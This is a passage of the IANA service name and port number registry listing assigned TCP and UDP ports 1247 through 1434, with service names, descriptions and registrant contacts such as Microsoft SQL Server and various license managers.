visionpyramid 1247 tcp VisionPyramid [Gavin_Hutchinson] [Gavin_Hutchinson]
visionpyramid 1247 udp VisionPyramid [Gavin_Hutchinson] [Gavin_Hutchinson]
hermes 1248 tcp hermes
hermes 1248 udp hermes
mesavistaco 1249 tcp Mesa Vista Co [Rick_LaBanca] [Rick_LaBanca]
mesavistaco 1249 udp Mesa Vista Co [Rick_LaBanca] [Rick_LaBanca]
swldy-sias 1250 tcp swldy-sias [Peter_E_Williams] [Peter_E_Williams]
swldy-sias 1250 udp swldy-sias [Peter_E_Williams] [Peter_E_Williams]
servergraph 1251 tcp servergraph [Lindsay_Morris] [Lindsay_Morris]
servergraph 1251 udp servergraph [Lindsay_Morris] [Lindsay_Morris]
bspne-pcc 1252 tcp bspne-pcc
bspne-pcc 1252 udp bspne-pcc
q55-pcc 1253 tcp q55-pcc [Prem_Tirilok] [Prem_Tirilok]
q55-pcc 1253 udp q55-pcc [Prem_Tirilok] [Prem_Tirilok]
de-noc 1254 tcp de-noc
de-noc 1254 udp de-noc
de-cache-query 1255 tcp de-cache-query
de-cache-query 1255 udp de-cache-query
de-server 1256 tcp de-server [Jeff_Burdette] [Jeff_Burdette]
de-server 1256 udp de-server [Jeff_Burdette] [Jeff_Burdette]
shockwave2 1257 tcp Shockwave 2 [Dave_Simmons] [Dave_Simmons]
shockwave2 1257 udp Shockwave 2 [Dave_Simmons] [Dave_Simmons]
opennl 1258 tcp Open Network Library
opennl 1258 udp Open Network Library
opennl-voice 1259 tcp Open Network Library Voice [Phil_Frisbie] [Phil_Frisbie]
opennl-voice 1259 udp Open Network Library Voice [Phil_Frisbie] [Phil_Frisbie]
ibm-ssd 1260 tcp ibm-ssd [Barry_Whyte] [Barry_Whyte]
ibm-ssd 1260 udp ibm-ssd [Barry_Whyte] [Barry_Whyte]
mpshrsv 1261 tcp mpshrsv [Makoto_Ikeyama] [Makoto_Ikeyama]
mpshrsv 1261 udp mpshrsv [Makoto_Ikeyama] [Makoto_Ikeyama]
qnts-orb 1262 tcp QNTS-ORB [Raghurama_Bhat] [Raghurama_Bhat]
qnts-orb 1262 udp QNTS-ORB [Raghurama_Bhat] [Raghurama_Bhat]
dka 1263 tcp dka [Chris_Griffin] [Chris_Griffin]
dka 1263 udp dka [Chris_Griffin] [Chris_Griffin]
prat 1264 tcp PRAT [Keith_Wood] [Keith_Wood]
prat 1264 udp PRAT [Keith_Wood] [Keith_Wood]
dssiapi 1265 tcp DSSIAPI [Jim_Turner] [Jim_Turner]
dssiapi 1265 udp DSSIAPI [Jim_Turner] [Jim_Turner]
dellpwrappks 1266 tcp DELLPWRAPPKS [David_Troeger] [David_Troeger]
dellpwrappks 1266 udp DELLPWRAPPKS [David_Troeger] [David_Troeger]
epc 1267 tcp eTrust Policy Compliance [Aaron_Stein] [Aaron_Stein]
epc 1267 udp eTrust Policy Compliance [Aaron_Stein] [Aaron_Stein]
propel-msgsys 1268 tcp PROPEL-MSGSYS [Bert_Van_der_Linden] [Bert_Van_der_Linden]
propel-msgsys 1268 udp PROPEL-MSGSYS [Bert_Van_der_Linden] [Bert_Van_der_Linden]
watilapp 1269 tcp WATiLaPP [Frederic_Weymann] [Frederic_Weymann]
watilapp 1269 udp WATiLaPP [Frederic_Weymann] [Frederic_Weymann]
opsmgr 1270 tcp Microsoft Operations Manager [Ashvin_Sanghvi] [Ashvin_Sanghvi]
opsmgr 1270 udp Microsoft Operations Manager [Ashvin_Sanghvi] [Ashvin_Sanghvi]
excw 1271 tcp eXcW [Norm_Freedman] [Norm_Freedman]
excw 1271 udp eXcW [Norm_Freedman] [Norm_Freedman]
cspmlockmgr 1272 tcp CSPMLockMgr [Ibtsam_Mahfouz] [Ibtsam_Mahfouz]
cspmlockmgr 1272 udp CSPMLockMgr [Ibtsam_Mahfouz] [Ibtsam_Mahfouz]
emc-gateway 1273 tcp EMC-Gateway [Rene_Fontaine] [Rene_Fontaine]
emc-gateway 1273 udp EMC-Gateway [Rene_Fontaine] [Rene_Fontaine]
t1distproc 1274 tcp t1distproc [Julian_Biddle] [Julian_Biddle]
t1distproc 1274 udp t1distproc [Julian_Biddle] [Julian_Biddle]
ivcollector 1275 tcp ivcollector
ivcollector 1275 udp ivcollector
1276 tcp Reserved 2014-05-23 This entry has been removed on 2014-05-23.
1276 udp Reserved 2014-05-23 This entry has been removed on 2014-05-23.
miva-mqs 1277 tcp mqs [Miva_Corporation] [Miva_Corporation]
miva-mqs 1277 udp mqs [Miva_Corporation] [Miva_Corporation]
dellwebadmin-1 1278 tcp Dell Web Admin 1 [Bridget_Navoda] [Bridget_Navoda]
dellwebadmin-1 1278 udp Dell Web Admin 1 [Bridget_Navoda] [Bridget_Navoda]
dellwebadmin-2 1279 tcp Dell Web Admin 2 [Bridget_Navoda] [Bridget_Navoda]
dellwebadmin-2 1279 udp Dell Web Admin 2 [Bridget_Navoda] [Bridget_Navoda]
pictrography 1280 tcp Pictrography [Takashi_Hoshino] [Takashi_Hoshino]
pictrography 1280 udp Pictrography [Takashi_Hoshino] [Takashi_Hoshino]
healthd 1281 tcp healthd [James_E_Housley] [James_E_Housley]
healthd 1281 udp healthd [James_E_Housley] [James_E_Housley]
emperion 1282 tcp Emperion [Claus_Thor_Barth] [Claus_Thor_Barth]
emperion 1282 udp Emperion [Claus_Thor_Barth] [Claus_Thor_Barth]
productinfo 1283 tcp Product Information
productinfo 1283 udp Product Information
iee-qfx 1284 tcp IEE-QFX [Mehrdad_Ashtiani] [Mehrdad_Ashtiani] 2009-10-19
iee-qfx 1284 udp IEE-QFX [Mehrdad_Ashtiani] [Mehrdad_Ashtiani] 2009-10-19
neoiface 1285 tcp neoiface [Jason_McManus] [Jason_McManus]
neoiface 1285 udp neoiface [Jason_McManus] [Jason_McManus]
netuitive 1286 tcp netuitive [JF_Huard] [JF_Huard]
netuitive 1286 udp netuitive [JF_Huard] [JF_Huard]
routematch 1287 tcp RouteMatch Com [Jeff_Jones] [Jeff_Jones] 2005-11
routematch 1287 udp RouteMatch Com [Jeff_Jones] [Jeff_Jones] 2005-11
navbuddy 1288 tcp NavBuddy [Eric_Hackman] [Eric_Hackman]
navbuddy 1288 udp NavBuddy [Eric_Hackman] [Eric_Hackman]
jwalkserver 1289 tcp JWalkServer
jwalkserver 1289 udp JWalkServer
winjaserver 1290 tcp WinJaServer
winjaserver 1290 udp WinJaServer
seagulllms 1291 tcp SEAGULLLMS [Lee_Breisacher] [Lee_Breisacher]
seagulllms 1291 udp SEAGULLLMS [Lee_Breisacher] [Lee_Breisacher]
dsdn 1292 tcp dsdn [Stanislaw_Skowronek] [Stanislaw_Skowronek]
dsdn 1292 udp dsdn [Stanislaw_Skowronek] [Stanislaw_Skowronek]
pkt-krb-ipsec 1293 tcp PKT-KRB-IPSec [Nancy_Davoust] [Nancy_Davoust]
pkt-krb-ipsec 1293 udp PKT-KRB-IPSec [Nancy_Davoust] [Nancy_Davoust]
cmmdriver 1294 tcp CMMdriver [Lutz_Karras] [Lutz_Karras]
cmmdriver 1294 udp CMMdriver [Lutz_Karras] [Lutz_Karras]
ehtp 1295 tcp End-by-Hop Transmission [Alexander_Bogdanov] [Alexander_Bogdanov]
Protocol
ehtp 1295 udp End-by-Hop Transmission [Alexander_Bogdanov] [Alexander_Bogdanov]
Protocol
dproxy 1296 tcp dproxy
dproxy 1296 udp dproxy
sdproxy 1297 tcp sdproxy [Raimond_Diederik] [Raimond_Diederik]
sdproxy 1297 udp sdproxy [Raimond_Diederik] [Raimond_Diederik]
lpcp 1298 tcp lpcp [Christian_Stredicke] [Christian_Stredicke]
lpcp 1298 udp lpcp [Christian_Stredicke] [Christian_Stredicke]
hp-sci 1299 tcp hp-sci [Kim_Scott] [Kim_Scott]
hp-sci 1299 udp hp-sci [Kim_Scott] [Kim_Scott]
h323hostcallsc 1300 tcp H.323 Secure Call Control [ITU-T] [ITU-T_TSB] 2013-01-31
Signalling
h323hostcallsc 1300 udp H.323 Secure Call Control [ITU-T] [ITU-T_TSB] 2013-01-31
Signalling
ci3-software-1 1301 tcp CI3-Software-1
ci3-software-1 1301 udp CI3-Software-1
ci3-software-2 1302 tcp CI3-Software-2 [Kelli_Watson] [Kelli_Watson]
ci3-software-2 1302 udp CI3-Software-2 [Kelli_Watson] [Kelli_Watson]
sftsrv 1303 tcp sftsrv [Robert_Frazier] [Robert_Frazier]
sftsrv 1303 udp sftsrv [Robert_Frazier] [Robert_Frazier]
boomerang 1304 tcp Boomerang [Bruce_Lueckenhoff] [Bruce_Lueckenhoff]
boomerang 1304 udp Boomerang [Bruce_Lueckenhoff] [Bruce_Lueckenhoff]
pe-mike 1305 tcp pe-mike [Stephen_Hemminger] [Stephen_Hemminger]
pe-mike 1305 udp pe-mike [Stephen_Hemminger] [Stephen_Hemminger]
re-conn-proto 1306 tcp RE-Conn-Proto [Sandeep_Singhal] [Sandeep_Singhal]
re-conn-proto 1306 udp RE-Conn-Proto [Sandeep_Singhal] [Sandeep_Singhal]
pacmand 1307 tcp Pacmand [Edward_T_O_Shea] [Edward_T_O_Shea]
pacmand 1307 udp Pacmand [Edward_T_O_Shea] [Edward_T_O_Shea]
odsi 1308 tcp Optical Domain Service [K_Arvind] [K_Arvind]
Interconnect (ODSI)
odsi 1308 udp Optical Domain Service [K_Arvind] [K_Arvind]
Interconnect (ODSI)
jtag-server 1309 tcp JTAG server [Andrew_Draper] [Andrew_Draper]
jtag-server 1309 udp JTAG server [Andrew_Draper] [Andrew_Draper]
husky 1310 tcp Husky [Mark_Zang] [Mark_Zang]
husky 1310 udp Husky [Mark_Zang] [Mark_Zang]
rxmon 1311 tcp RxMon [Javier_Jiminez] [Javier_Jiminez]
rxmon 1311 udp RxMon [Javier_Jiminez] [Javier_Jiminez]
sti-envision 1312 tcp STI Envision [Don_Stedman] [Don_Stedman]
sti-envision 1312 udp STI Envision [Don_Stedman] [Don_Stedman]
BMC_PATROLDB
bmc-patroldb 1313 tcp IANA assigned this [Portnoy_Boxman] [Portnoy_Boxman]
well-formed service name as
a replacement for
"bmc_patroldb".
This entry is an alias to "bmc-patroldb". This entry is now
bmc_patroldb 1313 tcp BMC_PATROLDB [Portnoy_Boxman] [Portnoy_Boxman] historic, not usable for use with many common service
discovery mechanisms.
BMC_PATROLDB
bmc-patroldb 1313 udp IANA assigned this [Portnoy_Boxman] [Portnoy_Boxman]
well-formed service name as
a replacement for
"bmc_patroldb".
This entry is an alias to "bmc-patroldb". This entry is now
bmc_patroldb 1313 udp BMC_PATROLDB [Portnoy_Boxman] [Portnoy_Boxman] historic, not usable for use with many common service
discovery mechanisms.
pdps 1314 tcp Photoscript Distributed [Les_Klein] [Les_Klein]
Printing System
pdps 1314 udp Photoscript Distributed [Les_Klein] [Les_Klein]
Printing System
els 1315 tcp E.L.S., Event Listener [Jim_Cleppe] [Jim_Cleppe]
Service
els 1315 udp E.L.S., Event Listener [Jim_Cleppe] [Jim_Cleppe]
Service
exbit-escp 1316 tcp Exbit-ESCP [Morten_Christensen] [Morten_Christensen]
exbit-escp 1316 udp Exbit-ESCP [Morten_Christensen] [Morten_Christensen]
vrts-ipcserver 1317 tcp vrts-ipcserver [Bruce_Hestand] [Bruce_Hestand]
vrts-ipcserver 1317 udp vrts-ipcserver [Bruce_Hestand] [Bruce_Hestand]
krb5gatekeeper 1318 tcp krb5gatekeeper [Patrick_Moore] [Patrick_Moore]
krb5gatekeeper 1318 udp krb5gatekeeper [Patrick_Moore] [Patrick_Moore]
amx-icsp 1319 tcp AMX-ICSP [Jeff_Burch] [Jeff_Burch]
amx-icsp 1319 udp AMX-ICSP [Jeff_Burch] [Jeff_Burch]
amx-axbnet 1320 tcp AMX-AXBNET [Jeff_Burch] [Jeff_Burch]
amx-axbnet 1320 udp AMX-AXBNET [Jeff_Burch] [Jeff_Burch]
pip 1321 tcp PIP [Gordon_Mohr] [Gordon_Mohr]
pip 1321 udp PIP [Gordon_Mohr] [Gordon_Mohr]
novation 1322 tcp Novation [Alan_Dano] [Alan_Dano]
novation 1322 udp Novation [Alan_Dano] [Alan_Dano]
brcd 1323 tcp brcd [Todd_Picquelle] [Todd_Picquelle]
brcd 1323 udp brcd [Todd_Picquelle] [Todd_Picquelle]
delta-mcp 1324 tcp delta-mcp [Quinton_Tormanen] [Quinton_Tormanen]
delta-mcp 1324 udp delta-mcp [Quinton_Tormanen] [Quinton_Tormanen]
dx-instrument 1325 tcp DX-Instrument [Walt_Modic] [Walt_Modic]
dx-instrument 1325 udp DX-Instrument [Walt_Modic] [Walt_Modic]
wimsic 1326 tcp WIMSIC [James_Brown] [James_Brown]
wimsic 1326 udp WIMSIC [James_Brown] [James_Brown]
ultrex 1327 tcp Ultrex [Tim_Walsh] [Tim_Walsh]
ultrex 1327 udp Ultrex [Tim_Walsh] [Tim_Walsh]
ewall 1328 tcp EWALL [Jeff_Busma] [Jeff_Busma]
ewall 1328 udp EWALL [Jeff_Busma] [Jeff_Busma]
netdb-export 1329 tcp netdb-export [Konstantinos_Kostis] [Konstantinos_Kostis]
netdb-export 1329 udp netdb-export [Konstantinos_Kostis] [Konstantinos_Kostis]
streetperfect 1330 tcp StreetPerfect [Michael_R_Young] [Michael_R_Young]
streetperfect 1330 udp StreetPerfect [Michael_R_Young] [Michael_R_Young]
intersan 1331 tcp intersan [Barry_H_Feild] [Barry_H_Feild]
intersan 1331 udp intersan [Barry_H_Feild] [Barry_H_Feild]
pcia-rxp-b 1332 tcp PCIA RXP-B [James_Dabbs] [James_Dabbs]
pcia-rxp-b 1332 udp PCIA RXP-B [James_Dabbs] [James_Dabbs]
passwrd-policy 1333 tcp Password Policy [Tonio_Pirotta] [Tonio_Pirotta]
passwrd-policy 1333 udp Password Policy [Tonio_Pirotta] [Tonio_Pirotta]
writesrv 1334 tcp writesrv [Marvin_Toungate] [Marvin_Toungate]
writesrv 1334 udp writesrv [Marvin_Toungate] [Marvin_Toungate]
digital-notary 1335 tcp Digital Notary Protocol [Wes_Doonan] [Wes_Doonan]
digital-notary 1335 udp Digital Notary Protocol [Wes_Doonan] [Wes_Doonan]
ischat 1336 tcp Instant Service Chat [Mike_Clise] [Mike_Clise]
ischat 1336 udp Instant Service Chat [Mike_Clise] [Mike_Clise]
menandmice-dns 1337 tcp menandmice DNS [Sigfus_Magnusson] [Sigfus_Magnusson]
menandmice-dns 1337 udp menandmice DNS [Sigfus_Magnusson] [Sigfus_Magnusson]
wmc-log-svc 1338 tcp WMC-log-svr [Scott_Anderson] [Scott_Anderson]
wmc-log-svc 1338 udp WMC-log-svr [Scott_Anderson] [Scott_Anderson]
kjtsiteserver 1339 tcp kjtsiteserver [Jason_Aubain] [Jason_Aubain]
kjtsiteserver 1339 udp kjtsiteserver [Jason_Aubain] [Jason_Aubain]
naap 1340 tcp NAAP [Henry_Haverinen] [Henry_Haverinen]
naap 1340 udp NAAP [Henry_Haverinen] [Henry_Haverinen]
qubes 1341 tcp QuBES [Eric_Grange] [Eric_Grange]
qubes 1341 udp QuBES [Eric_Grange] [Eric_Grange]
esbroker 1342 tcp ESBroker [Alexander_Medvinsky] [Alexander_Medvinsky]
esbroker 1342 udp ESBroker [Alexander_Medvinsky] [Alexander_Medvinsky]
re101 1343 tcp re101 [Doriano_Blengino] [Doriano_Blengino]
re101 1343 udp re101 [Doriano_Blengino] [Doriano_Blengino]
icap 1344 tcp ICAP [Jeremy_Elson] [Jeremy_Elson]
icap 1344 udp ICAP [Jeremy_Elson] [Jeremy_Elson]
vpjp 1345 tcp VPJP [Michael_Collins] [Michael_Collins]
vpjp 1345 udp VPJP [Michael_Collins] [Michael_Collins]
alta-ana-lm 1346 tcp Alta Analytics License
Manager
alta-ana-lm 1346 udp Alta Analytics License
Manager
bbn-mmc 1347 tcp multi media conferencing
bbn-mmc 1347 udp multi media conferencing
bbn-mmx 1348 tcp multi media conferencing
bbn-mmx 1348 udp multi media conferencing
sbook 1349 tcp Registration Network
Protocol
sbook 1349 udp Registration Network
Protocol
editbench 1350 tcp Registration Network [Simson_L_Garfinkel] [Simson_L_Garfinkel]
Protocol
editbench 1350 udp Registration Network [Simson_L_Garfinkel] [Simson_L_Garfinkel]
Protocol
equationbuilder 1351 tcp Digital Tool Works (MIT) [Terrence_J_Talbot] [Terrence_J_Talbot]
equationbuilder 1351 udp Digital Tool Works (MIT) [Terrence_J_Talbot] [Terrence_J_Talbot]
lotusnote 1352 tcp Lotus Note [Greg_Pflaum] [Greg_Pflaum] 1992-07
lotusnote 1352 udp Lotus Note [Greg_Pflaum] [Greg_Pflaum] 1992-07
relief 1353 tcp Relief Consulting [John_Feiler] [John_Feiler]
relief 1353 udp Relief Consulting [John_Feiler] [John_Feiler]
XSIP-network 1354 tcp Five Across XSIP Network [Glenn_Reid] [Glenn_Reid]
XSIP-network 1354 udp Five Across XSIP Network [Glenn_Reid] [Glenn_Reid]
intuitive-edge 1355 tcp Intuitive Edge [Montgomery_Zukowski] [Montgomery_Zukowski]
intuitive-edge 1355 udp Intuitive Edge [Montgomery_Zukowski] [Montgomery_Zukowski]
cuillamartin 1356 tcp CuillaMartin Company
cuillamartin 1356 udp CuillaMartin Company
pegboard 1357 tcp Electronic PegBoard [Chris_Cuilla] [Chris_Cuilla]
pegboard 1357 udp Electronic PegBoard [Chris_Cuilla] [Chris_Cuilla]
connlcli 1358 tcp CONNLCLI
connlcli 1358 udp CONNLCLI
ftsrv 1359 tcp FTSRV [Ines_Homem_de_Melo] [Ines_Homem_de_Melo]
ftsrv 1359 udp FTSRV [Ines_Homem_de_Melo] [Ines_Homem_de_Melo]
mimer 1360 tcp MIMER [Per_Schroeder] [Per_Schroeder]
mimer 1360 udp MIMER [Per_Schroeder] [Per_Schroeder]
linx 1361 tcp LinX [Steffen_Schilke] [Steffen_Schilke]
linx 1361 udp LinX [Steffen_Schilke] [Steffen_Schilke]
timeflies 1362 tcp TimeFlies [Doug_Kent] [Doug_Kent]
timeflies 1362 udp TimeFlies [Doug_Kent] [Doug_Kent]
ndm-requester 1363 tcp Network DataMover Requester
ndm-requester 1363 udp Network DataMover Requester
ndm-server 1364 tcp Network DataMover Server [Toshio_Watanabe] [Toshio_Watanabe]
ndm-server 1364 udp Network DataMover Server [Toshio_Watanabe] [Toshio_Watanabe]
adapt-sna 1365 tcp Network Software Associates [Jeffery_Chiao] [Jeffery_Chiao]
adapt-sna 1365 udp Network Software Associates [Jeffery_Chiao] [Jeffery_Chiao]
netware-csp 1366 tcp Novell NetWare Comm Service [Laurie_Lindsey] [Laurie_Lindsey]
Platform
netware-csp 1366 udp Novell NetWare Comm Service [Laurie_Lindsey] [Laurie_Lindsey]
Platform
dcs 1367 tcp DCS [Stefan_Siebert] [Stefan_Siebert]
dcs 1367 udp DCS [Stefan_Siebert] [Stefan_Siebert]
screencast 1368 tcp ScreenCast [Bill_Tschumy] [Bill_Tschumy]
screencast 1368 udp ScreenCast [Bill_Tschumy] [Bill_Tschumy]
gv-us 1369 tcp GlobalView to Unix Shell
gv-us 1369 udp GlobalView to Unix Shell
us-gv 1370 tcp Unix Shell to GlobalView [Makoto_Mita] [Makoto_Mita]
us-gv 1370 udp Unix Shell to GlobalView [Makoto_Mita] [Makoto_Mita]
fc-cli 1371 tcp Fujitsu Config Protocol
fc-cli 1371 udp Fujitsu Config Protocol
fc-ser 1372 tcp Fujitsu Config Protocol [Ryuichi_Horie] [Ryuichi_Horie]
fc-ser 1372 udp Fujitsu Config Protocol [Ryuichi_Horie] [Ryuichi_Horie]
chromagrafx 1373 tcp Chromagrafx [Mike_Barthelemy] [Mike_Barthelemy]
chromagrafx 1373 udp Chromagrafx [Mike_Barthelemy] [Mike_Barthelemy]
molly 1374 tcp EPI Software Systems [Jim_Vlcek] [Jim_Vlcek]
molly 1374 udp EPI Software Systems [Jim_Vlcek] [Jim_Vlcek]
bytex 1375 tcp Bytex [Mary_Ann_Burt] [Mary_Ann_Burt]
bytex 1375 udp Bytex [Mary_Ann_Burt] [Mary_Ann_Burt]
ibm-pps 1376 tcp IBM Person to Person [Simon_Phipps] [Simon_Phipps]
Software
ibm-pps 1376 udp IBM Person to Person [Simon_Phipps] [Simon_Phipps]
Software
cichlid 1377 tcp Cichlid License Manager [Andy_Burgess] [Andy_Burgess]
cichlid 1377 udp Cichlid License Manager [Andy_Burgess] [Andy_Burgess]
elan 1378 tcp Elan License Manager [Ken_Greer] [Ken_Greer]
elan 1378 udp Elan License Manager [Ken_Greer] [Ken_Greer]
dbreporter 1379 tcp Integrity Solutions [Tim_Dawson] [Tim_Dawson]
dbreporter 1379 udp Integrity Solutions [Tim_Dawson] [Tim_Dawson]
telesis-licman 1380 tcp Telesis Network License [Karl_Schendel_Jr] [Karl_Schendel_Jr]
Manager
telesis-licman 1380 udp Telesis Network License [Karl_Schendel_Jr] [Karl_Schendel_Jr]
Manager
apple-licman 1381 tcp Apple Network License [Earl_Wallace] [Earl_Wallace]
Manager
apple-licman 1381 udp Apple Network License [Earl_Wallace] [Earl_Wallace]
Manager
udt_os
udt-os 1382 tcp IANA assigned this
well-formed service name as
a replacement for "udt_os".
This entry is an alias to "udt-os". This entry is now
udt_os 1382 tcp udt_os historic, not usable for use with many common service
discovery mechanisms.
udt_os
udt-os 1382 udp IANA assigned this
well-formed service name as
a replacement for "udt_os".
This entry is an alias to "udt-os". This entry is now
udt_os 1382 udp udt_os historic, not usable for use with many common service
discovery mechanisms.
gwha 1383 tcp GW Hannaway Network License [J_Gabriel_Foster] [J_Gabriel_Foster]
Manager
gwha 1383 udp GW Hannaway Network License [J_Gabriel_Foster] [J_Gabriel_Foster]
Manager
os-licman 1384 tcp Objective Solutions License [Donald_Cornwell] [Donald_Cornwell]
Manager
os-licman 1384 udp Objective Solutions License [Donald_Cornwell] [Donald_Cornwell]
Manager
Atex Publishing License
Manager
atex-elmd 1385 tcp IANA assigned this [Brett_Sorenson] [Brett_Sorenson]
well-formed service name as
a replacement for
"atex_elmd".
Atex Publishing License This entry is an alias to "atex-elmd". This entry is now
atex_elmd 1385 tcp Manager [Brett_Sorenson] [Brett_Sorenson] historic, not usable for use with many common service
discovery mechanisms.
Atex Publishing License
Manager
atex-elmd 1385 udp IANA assigned this [Brett_Sorenson] [Brett_Sorenson]
well-formed service name as
a replacement for
"atex_elmd".
Atex Publishing License This entry is an alias to "atex-elmd". This entry is now
atex_elmd 1385 udp Manager [Brett_Sorenson] [Brett_Sorenson] historic, not usable for use with many common service
discovery mechanisms.
checksum 1386 tcp CheckSum License Manager [Andreas_Glocker] [Andreas_Glocker]
checksum 1386 udp CheckSum License Manager [Andreas_Glocker] [Andreas_Glocker]
cadsi-lm 1387 tcp Computer Aided Design [Sulistio_Muljadi] [Sulistio_Muljadi]
Software Inc LM
cadsi-lm 1387 udp Computer Aided Design [Sulistio_Muljadi] [Sulistio_Muljadi]
Software Inc LM
objective-dbc 1388 tcp Objective Solutions DataBase [Donald_Cornwell_2] [Donald_Cornwell_2]
Cache
objective-dbc 1388 udp Objective Solutions DataBase [Donald_Cornwell_2] [Donald_Cornwell_2]
Cache
iclpv-dm 1389 tcp Document Manager
iclpv-dm 1389 udp Document Manager
iclpv-sc 1390 tcp Storage Controller
iclpv-sc 1390 udp Storage Controller
iclpv-sas 1391 tcp Storage Access Server
iclpv-sas 1391 udp Storage Access Server
iclpv-pm 1392 tcp Print Manager
iclpv-pm 1392 udp Print Manager
iclpv-nls 1393 tcp Network Log Server
iclpv-nls 1393 udp Network Log Server
iclpv-nlc 1394 tcp Network Log Client
iclpv-nlc 1394 udp Network Log Client
iclpv-wsm 1395 tcp PC Workstation Manager [A_P_Hobson] [A_P_Hobson]
software
iclpv-wsm 1395 udp PC Workstation Manager [A_P_Hobson] [A_P_Hobson]
software
dvl-activemail 1396 tcp DVL Active Mail
dvl-activemail 1396 udp DVL Active Mail
audio-activmail 1397 tcp Audio Active Mail
audio-activmail 1397 udp Audio Active Mail
video-activmail 1398 tcp Video Active Mail [Avshalom_Houri] [Avshalom_Houri]
video-activmail 1398 udp Video Active Mail [Avshalom_Houri] [Avshalom_Houri]
cadkey-licman 1399 tcp Cadkey License Manager
cadkey-licman 1399 udp Cadkey License Manager
cadkey-tablet 1400 tcp Cadkey Tablet Daemon [Joe_McCollough] [Joe_McCollough]
cadkey-tablet 1400 udp Cadkey Tablet Daemon [Joe_McCollough] [Joe_McCollough]
goldleaf-licman 1401 tcp Goldleaf License Manager [John_Fox] [John_Fox]
goldleaf-licman 1401 udp Goldleaf License Manager [John_Fox] [John_Fox]
prm-sm-np 1402 tcp Prospero Resource Manager
prm-sm-np 1402 udp Prospero Resource Manager
prm-nm-np 1403 tcp Prospero Resource Manager [B_Clifford_Neuman] [B_Clifford_Neuman]
prm-nm-np 1403 udp Prospero Resource Manager [B_Clifford_Neuman] [B_Clifford_Neuman]
igi-lm 1404 tcp Infinite Graphics License
Manager
igi-lm 1404 udp Infinite Graphics License
Manager
ibm-res 1405 tcp IBM Remote Execution Starter
ibm-res 1405 udp IBM Remote Execution Starter
netlabs-lm 1406 tcp NetLabs License Manager
netlabs-lm 1406 udp NetLabs License Manager
tibet-server 1407 tcp TIBET Data Server [Technical_Pursuit_Inc] [Scott_Shattuck] 2015-06-16 This port has been retasked on 2015-06-16.
1407 udp Reserved This port has been removed on 2015-06-16.
sophia-lm 1408 tcp Sophia License Manager [Eric_Brown] [Eric_Brown]
sophia-lm 1408 udp Sophia License Manager [Eric_Brown] [Eric_Brown]
here-lm 1409 tcp Here License Manager [David_Ison] [David_Ison]
here-lm 1409 udp Here License Manager [David_Ison] [David_Ison]
hiq 1410 tcp HiQ License Manager [Rick_Pugh] [Rick_Pugh]
hiq 1410 udp HiQ License Manager [Rick_Pugh] [Rick_Pugh]
af 1411 tcp AudioFile [Jim_Gettys] [Jim_Gettys]
af 1411 udp AudioFile [Jim_Gettys] [Jim_Gettys]
innosys 1412 tcp InnoSys
innosys 1412 udp InnoSys
innosys-acl 1413 tcp Innosys-ACL [Eric_Welch] [Eric_Welch]
innosys-acl 1413 udp Innosys-ACL [Eric_Welch] [Eric_Welch]
ibm-mqseries 1414 tcp IBM MQSeries [Roger_Meli] [Roger_Meli]
ibm-mqseries 1414 udp IBM MQSeries [Roger_Meli] [Roger_Meli]
dbstar 1415 tcp DBStar [Jeffrey_Millman] [Jeffrey_Millman]
dbstar 1415 udp DBStar [Jeffrey_Millman] [Jeffrey_Millman]
Novell LU6.2
novell-lu6-2 1416 tcp IANA assigned this [Peter_Liu] [Peter_Liu]
well-formed service name as
a replacement for
"novell-lu6.2".
This entry is an alias to "novell-lu6-2". This entry is now
novell-lu6.2 1416 tcp Novell LU6.2 [Peter_Liu] [Peter_Liu] historic, not usable for use with many common service
discovery mechanisms.
Novell LU6.2
novell-lu6-2 1416 udp IANA assigned this [Peter_Liu] [Peter_Liu]
well-formed service name as
a replacement for
"novell-lu6.2".
This entry is an alias to "novell-lu6-2". This entry is now
novell-lu6.2 1416 udp Novell LU6.2 [Peter_Liu] [Peter_Liu] historic, not usable for use with many common service
discovery mechanisms.
timbuktu-srv1 1417 tcp Timbuktu Service 1 Port
timbuktu-srv1 1417 udp Timbuktu Service 1 Port
timbuktu-srv2 1418 tcp Timbuktu Service 2 Port
timbuktu-srv2 1418 udp Timbuktu Service 2 Port
timbuktu-srv3 1419 tcp Timbuktu Service 3 Port
timbuktu-srv3 1419 udp Timbuktu Service 3 Port
timbuktu-srv4 1420 tcp Timbuktu Service 4 Port [Marc_Epard] [Marc_Epard]
timbuktu-srv4 1420 udp Timbuktu Service 4 Port [Marc_Epard] [Marc_Epard]
gandalf-lm 1421 tcp Gandalf License Manager [gilmer] [gilmer]
gandalf-lm 1421 udp Gandalf License Manager [gilmer] [gilmer]
autodesk-lm 1422 tcp Autodesk License Manager [David_Ko] [David_Ko]
autodesk-lm 1422 udp Autodesk License Manager [David_Ko] [David_Ko]
essbase 1423 tcp Essbase Arbor Software
essbase 1423 udp Essbase Arbor Software
hybrid 1424 tcp Hybrid Encryption Protocol [Howard_Hart] [Howard_Hart]
hybrid 1424 udp Hybrid Encryption Protocol [Howard_Hart] [Howard_Hart]
zion-lm 1425 tcp Zion Software License [David_Ferrero] [David_Ferrero]
Manager
zion-lm 1425 udp Zion Software License [David_Ferrero] [David_Ferrero]
Manager
sais 1426 tcp Satellite-data Acquisition [Bill_Taylor] [Bill_Taylor]
System 1
sais 1426 udp Satellite-data Acquisition [Bill_Taylor] [Bill_Taylor]
System 1
mloadd 1427 tcp mloadd monitoring tool [Bob_Braden_2] [Bob_Braden_2]
mloadd 1427 udp mloadd monitoring tool [Bob_Braden_2] [Bob_Braden_2]
informatik-lm 1428 tcp Informatik License Manager [Harald_Schlangmann] [Harald_Schlangmann]
informatik-lm 1428 udp Informatik License Manager [Harald_Schlangmann] [Harald_Schlangmann]
nms 1429 tcp Hypercom NMS
nms 1429 udp Hypercom NMS
tpdu 1430 tcp Hypercom TPDU [Noor_Chowdhury] [Noor_Chowdhury]
tpdu 1430 udp Hypercom TPDU [Noor_Chowdhury] [Noor_Chowdhury]
rgtp 1431 tcp Reverse Gossip Transport [Ian_Jackson] [Ian_Jackson]
rgtp 1431 udp Reverse Gossip Transport [Ian_Jackson] [Ian_Jackson]
blueberry-lm 1432 tcp Blueberry Software License [Steve_Beigel] [Steve_Beigel]
Manager
blueberry-lm 1432 udp Blueberry Software License [Steve_Beigel] [Steve_Beigel]
Manager
ms-sql-s 1433 tcp Microsoft-SQL-Server
ms-sql-s 1433 udp Microsoft-SQL-Server
ms-sql-m 1434 tcp Microsoft-SQL-Monitor [Peter_Hussey] [Peter_Hussey]
ms-sql-m 1434 udp Microsoft-SQL-Monitor [Peter_Hussey] [Peter_Hussey]
